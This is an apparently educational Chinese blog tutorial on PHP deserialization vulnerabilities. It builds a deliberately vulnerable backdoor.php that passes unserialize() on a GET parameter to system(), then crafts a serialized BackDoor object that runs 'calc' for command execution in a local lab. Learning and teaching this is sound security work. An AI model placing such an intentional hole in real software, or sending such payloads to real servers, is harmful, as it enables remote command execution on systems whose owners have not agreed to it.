当前位置: 首页 > news >正文

[Web 安全] PHP 反序列化漏洞 —— PHP 反序列化漏洞演示案例

关注这个专栏的其他相关笔记:[Web 安全] 反序列化漏洞 - 学习笔记-CSDN博客

PHP 反序列化漏洞产生原因

PHP 反序列化漏洞产生的原因就是因为在反序列化过程中,unserialize() 接收的值可控。

0x01:环境搭建

这里笔者是使用 PhpStudy 搭建的环境,如果环境没有配置好的可以参考下面这篇文章:

PHP 环境配置:PhpStudy 环境配置

PhpStudy 安装好后开启它的 Apache 服务,并定位到它网站的根目录下:

将下面的代码保存到 backdoor.php 文件中,并放到 PhpStudy 的网站根目录下:

 # FileName: backdoor.php
 <?php
 highlight_file(__FILE__); // 高亮当前文件
 ​
 // 后门 - 程序员自己留的哈
 class BackDoor {
     public $command;
 ​
     public function run() {
         system($this -> command); // 执行 command 里的命令
     }
 }
 ​
 $command = $_GET['cmd'];
 ​
 if($command == True) {
     $cmd = unserialize($command);
     $cmd -> run();
 }

然后我们通过浏览器访问上面这个文件,如果访问成功就证明环境搭建好了:

 http://127.0.0.1/backdoor.php

0x02:漏洞复现

下面我们就来分析一下下面这个程序的代码(其实明摆着就是一个后门,只不过传参需要用到序列化的知识,后面笔者会以几道 CTF 题目做讲解,类型其实差不多):

 <?php
 highlight_file(__FILE__); // 高亮当前文件
 ​
 // 后门 - 程序员自己留的哈
 class BackDoor {
     public $command;
 ​
     public function run() {
         system($this -> command); // 执行 command 里的命令
     }
 }
 ​
 $command = $_GET['cmd'];  // 接收一个 GET 型的传参
 ​
 if($command == True) {    // 如果 $command 不为空就执行
     $cmd = unserialize($command); // 执行反序列化
     $cmd -> run();                // 调用 run() 函数
 }

我们可以看到,目标的 BackDoor 类中有一个 run() 函数,是用来执行系统命令的,这个命令是通过 BackDoor 中的 $command 属性获取的。

上面这个例子比较简单(而且不太真实),相信不少小伙伴已经想到了利用思路了,我们自己构造一个序列化的对象,给 $command 赋一个恶意命令,然后序列化后传给 cmd 执行即可。

首先,我们从网站上,把这个 BackDoor 类当下来,然后给 $command 赋予一个执行计算器的命令,然后实例化 BackDoor 类,并把这个实例化的值进行序列化:

 <?php
 ​
 // 后门 - 程序员自己留的哈
 class BackDoor {
     public $command = "calc"; // 这个命令会弹计算器
 ​
     public function run() {
         system($this -> command); // 执行 command 里的命令
     }
 } 
 ​
 $backdoor = new BackDoor();
 echo serialize($backdoor); // O:8:"BackDoor":1:{s:7:"command";s:4:"calc";}

如上,我们成功拿到了可以执行恶意代码的序列化参数,然后把这个参数通过 cmd 传给服务端即可(俺承认这个例子不咋地,不过基本上反序列化就是这么利用的):

http://www.dtcms.com/a/37420.html

相关文章:

  • mysql 学习19 MYSQL管理以及使用工具
  • 【机器学习】强化学习(2)——捋清深度强化学习的思路
  • Room记录搜索记录逻辑思路
  • QEMU源码全解析 —— 内存虚拟化(20)
  • MySQL 和 Elasticsearch 之间的数据同步
  • 国科大——数据挖掘(0812课程)——课后作业
  • 【阮一峰】20.注释指令
  • 禾迈电力电子嵌入式面经和参考答案
  • OpenCV计算摄影学(2)图像去噪函数denoise_TVL1()
  • 十类DeepSeek学术提示词分享
  • 代码异常(js中push)NO.4
  • Oracle 数据库基础入门(一):搭建数据管理基石
  • DeepSeek接入问题-Xshell5连接Ubuntu22失败解决方案
  • 网络安全复习资料
  • 音视频入门基础:RTP专题(12)——RTP中的NAL Unit Type简介
  • 基于MATLAB的OFDM通信系统仿真设计
  • 【NLP 27、文本分类任务 —— 传统机器学习算法】
  • QT 中的元对象系统(一):元对象和元数据
  • Android NFC功能开发指南
  • 深度求索DeepSeek:AI大模型的全域应用与技术突破
  • 8. 示例:对32位数据总线实现位宽和值域覆盖
  • BUG: 解决新版本SpringBoot3.4.3在创建项目时勾选lombok但无法使用的问题
  • 本地部署DeepSeek R1满血版大模型
  • deepseek 70b 部署需要的配置
  • Spring Boot电影评论网站系统设计与实现
  • 【redis】数据类型之hyperloglog
  • 了解模型压缩与加速
  • 【Arxiv 大模型最新进展】北大 Parenting 方法登场:参数魔法解锁检索增强语言模型新高度!
  • leetcode_动态规划和递归 509. 斐波那契数
  • Compose 动画,让页面动起来